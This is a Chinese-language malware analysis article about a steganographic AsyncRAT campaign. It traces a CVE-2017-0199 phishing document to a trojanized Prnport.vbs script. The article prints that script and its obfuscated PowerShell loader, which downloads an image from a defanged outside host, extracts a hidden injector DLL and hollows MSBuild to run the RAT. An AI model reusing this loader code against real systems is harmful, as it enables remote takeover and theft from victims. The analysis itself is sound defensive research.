admin管理员组

文章数量:1437551

Stego

隐写术是指将恶意代码隐藏在看似无害的图像文件中。虽然这种技术在野外并不常见,但发现它总是令人兴奋的,而且它往往能揭示攻击者为传递有效载荷而采取的巧妙手段。

隐写术活动流程

初次感染

初始感染通常始于一封钓鱼邮件,其中包含一个旨在利用漏洞的恶意 Microsoft Office 文档CVE-2017–0199。该漏洞允许远程代码执行 (RCE),由Ryan Hanson于 2017 年 4 月首次报告给微软。当受害者打开该文档时,它会触发下载并执行远程脚本(通常是 HTA 文件),而无需任何进一步的交互。

在我们的示例中,HTA 脚本下载了木马副本Prnport.vbs,该副本在执行时将动态构建并执行 PowerShell 脚本以启动下一阶段。

CVE-2017–0199可以在MalwareBazaar上找到利用的样本。

Prnport.vbs是大多数 Windows 客户端和服务器版本中都包含的合法脚本。其目的是管理 TCP/IP 打印机端口及其配置。在我们的示例中,恶意代码被插入到 Prnport.vbs 脚本的开头,从而有效地将合法工具木马化。该工具执行后,会将 1-5 顺序的 PowerShell 命令拼凑在一起,然后WScript.exe执行。

代码语言:javascript代码运行次数:0运行复制
Option  Explicit 
On  Error  Resume  Next 

' Crear objeto shell 
Dim objShell 
Set objShell = CreateObject( "WScript.Shell" ) 

' Dividir el comando en parts 
Dim cmd1, cmd2, cmd3, cmd4, cmd5, FinalCmd 

cmd1 = "$payloadURL = 'txt.100/etis[.]soedivtohenilnohctaw//:sptth';$finalPayloadURL = $payloadURL -replace '#', 't';"
 cmd2 = "$loaderURL = 'hxxps[://]1019[.]filemail[.]com/api/file/get?filekey=ZrKTNo-_DMWgm0oonSr97JAkdr UqbICVeG2LmuclzuON2ZavKqsQg0NqChSLT4A&pk_vid=342803d1cc4e3b801741606974b78eb1';"
 cmd3 = "$NET = 'N' + 'et'; $WEBCLIENT = 'WebC' + 'lient'; $netWebclientObject = 新对象系统.$NET.$WEBCLIENT;$hiddenLoader = $netWebclientObject.('Downl' + 'oadData')($loaderURL);"
 cmd4 = "$utf8hiddenLoader = [Text.Encoding]::UTF8.('GetS' + 'tring')($hiddenLoader);$startMarker = '<<BASE64_START>>';$endMarker = '<<BASE64_END>>';$base64start = $utf8hiddenLoader.('Ind' + 'exOf')($startMarker);$base64end = $utf8hiddenLoader.IndexOf($endMarker);"
 cmd5 = "$base64start -ge 0 -and $base64end -gt $base64start;$base64start += $startMarker.Length;$trimBase64 = $base64end - $base64start;$extractedBase64 = $utf8hiddenLoader.Substring($base64start, $trimBase64);$decodedLoader = [Convert]::('FromBas' + 'e64String')($extractedBase64);$loaderReflection = [Reflection.Assembly]::('Lo' + 'ad')($decodedLoader);$executeMethod = [dnlib.IO.Home].('GetM' + 'ethod')('VAI').('Inv' + 'oke')($null, [object[]] @($finalPayloadURL,'','','','MSBuild','','','','','','','','','',''))" 

' 连接所有部分
FinalCmd = "cmd /c powershell -Command """ & cmd1 & cmd2 & cmd3 & cmd4 & cmd5 & """" 

' Ejecutar comando oculto
 objShell.Run FinalCmd, 0 , True 

' Limpiar objeto 
Set objShell = Nothing

该恶意文件的完整版本Prnport.vbs可在我的GitHub和VirusTotal上找到。

WScript.exe 执行 PowerShell 代码

下面的 PowerShell 代码执行后,受害者将得到一个在看似合法的MSBuild进程下运行的有效载荷(在本例中为 AsyncRAT)。

代码语言:javascript代码运行次数:0运行复制
## C2 hosting payload
$payloadURL = 'txt.100/etis[.]soedivtohenilnohctaw[//:]spxxh';
$finalPayloadURL = $payloadURL -replace '#', 't';

## Injector.dll hidden in image
$injectorURL = 'hxxps[://]1019[.]filemail[.]com/api/file/get?filekey=ZrKTNo-_DMWgm0oonSr97JAkdrUqbICVeG2LmuclzuON2ZavKqsQg0NqChSLT4A&pk_vid=342803d1cc4e3b801741606974b78eb1';

## Deobfuscating PowerShell download method
$NET = 'N' + 'et'; 
$WEBCLIENT = 'WebC' + 'lient'; 
$netWebclientObject = New-Object System.$NET.$WEBCLIENT;
$hiddenInjector = $netWebclientObject.('Downl' + 'oadData')($injectorURL);
$utf8hiddenInjector = [Text.Encoding]::UTF8.('GetS' + 'tring')($hiddenInjector);

## Base64 markers
$startMarker = '<<BASE64_START>>';
$endMarker = '<<BASE64_END>>';

## Use Base64 markers to extract injector from image, then decode
$base64start = $utf8hiddenInjector.('Ind' + 'exOf')($startMarker);
$base64end = $utf8hiddenInjector.IndexOf($endMarker);
$base64start -ge 0 -and $base64end -gt $base64start;
$base64start += $startMarker.Length;
$trimBase64 = $base64end - $base64start;
$extractedBase64 = $utf8hiddenInjector.Substring($base64start, $trimBase64);
$decodedInjector = [Convert]::('FromBas' + 'e64String')($extractedBase64);

## Use reflection to load the injector
$injectorReflection = [Reflection.Assembly]::('Lo' + 'ad')($decodedInjector);

## Dynamically retrieve method 'VAI' and pass the payload URL in $finalPayloadURL 
$executeMethod = [dnlib.IO.Home].('GetM' + 'ethod')('VAI').('Inv' + 'oke')($null, [object[]] @($finalPayloadURL,'','','','MSBuild','','','','','','','','','',''))

从图像中提取注射器

下图展示了受害者打开文件时看到的内容,受害者并不知道其中隐藏着恶意注入器 DLL。

如果我们在文本编辑器中打开图像并查找<<BASE64_START>>

这些字母TVq解码为MZ,表示 Windows 可移植可执行文件中 MZ 标头的开始。

保存文件后,我们可以在 CFF 资源管理器中检查它以显示它的原始名称:Microsoft.Win32.TaskScheduler。Detect It Easy 还确认这是一个 32 位 DLL 文件。

下面我们可以看到PowerShell代码的最后一行是如何执行VAIDLL中的方法的。

1 、检索VAI方法(dnlib.IO > 主页 > VAI)。

2 、VAI使用$finalPayloadURL传递作为第一个参数、字符串"MSBuild"作为第五个参数进行调用。

3 、使用指定参数调用该方法后,URL$finalPayloadURL会被反转。然后,将从该反转后的 URL 中检索有效载荷,并将其本身以相反的顺序存储,因此下载后会再次反转。

4 、然后从 Base64 解码有效载荷,并将其与合法的完整路径一起MSBuild传递给Ande负责进程挖空的函数,我们接下来将深入研究该函数。

可以看到变量内部的Base64编码数据text,其中前几个字符是TVq。这些字母TVq解码后为MZ,表示Windows可移植可执行文件中MZ头的开始。

对于address变量,它应该包含指向有效载荷的 URL,但我已经自行托管了一个虚拟文件来替换用于分析的有效载荷。

您可以在下面看到如何对文件路径的每个部分MSBuild进行反混淆,然后将其拼凑在一起以创建最终的完整路径。

当Ande函数执行时,解码后的payload被赋值给data参数,完整的MSBuild路径被传递给path参数。

执行被转移到另一个名为的函数,uE000该函数使用 API 组合来生成一个MSBuild处于挂起状态的进程,清空其内存,为有效载荷创建额外的内存,将其写入,然后恢复执行。

这是进程空心攻击 ( T1055.012 )的典型案例,该技术是进程注入 ( T1055 )的一个子技术。它涉及获取合法进程,将其空心化,并注入恶意代码,从而有效地创建原始进程的木马版本。

最终有效载荷——AsyncRAT

提取有效载荷后,VirusTotal 将其标记为 AsyncRAT,并向我们提供了包含 C2 IP 地址的配置文件。

AsyncRAT 是一款开源远程访问工具,于 2019 年 1 月首次在 GitHub 上发布。它不仅提供远程桌面访问和键盘记录等标准 RAT 功能,还可以作为部署其他恶意软件(包括勒索软件)的独立加载器。

可以看到文件的内容以及数据如何以 Base64 编码并以相反的顺序存储。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2025-04-26,如有侵权请联系 cloudcommunity@tencent 删除内存工具函数脚本进程

本文标签: Stego